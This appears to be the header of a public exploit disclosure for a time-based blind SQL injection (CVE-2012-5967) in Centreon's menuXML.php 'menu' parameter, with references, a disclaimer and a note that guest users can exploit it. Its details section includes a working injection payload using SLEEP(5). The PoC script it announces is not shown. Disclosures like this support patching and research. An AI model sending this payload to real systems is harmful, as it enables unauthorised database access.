# Exploit Title: Centreon 2.3.3 - 2.3.9-4 menuXML.php Blind SQL Injection Exploit
# Disclosure Date: December 12, 2012
# Author: modpr0be (@modpr0be)
# Platform: Linux
# Tested on: Centreon Enterprise Server with Centreon 2.3.9-4 on CentOS 5.5 x86_64 (Final)
# Software Link: http://www.centreon.com/Content-Download/download-centreon-enterprise-server
# References: http://www.spentera.com/2012/12/centreon-enterprise-server-blind-sql-injection/
# CVE-ID: CVE-2012-5967

### DISCLAIMER 
# Script provided 'as is', without any warranty.
# For educational purposes only.
# Do not use this code to do anything illegal.

### Software Description
# The Centreon Software Suite is a set of modular software programs designed for managing 
# and controlling your information systems. It lets you supervise and measure performance and 
# quality of service so that you can optimise the use of your resources.

### Vulnerability Details
# Vulnerability found in menuXML.php inside the 'menu' parameter. By injecting payload after the 
# menu parameter, e.g: '  AND SLEEP(5) AND 'meHL'='meHL, the web application hung for 5 seconds, 
# which gives us a conclusion that the web application is vulnerable to time-based sql injection.

## Further notes:
# User with low privilege access (e.g: guest user) can still exploit this vulnerability
# The script below is for PoC of the vulnerability only.
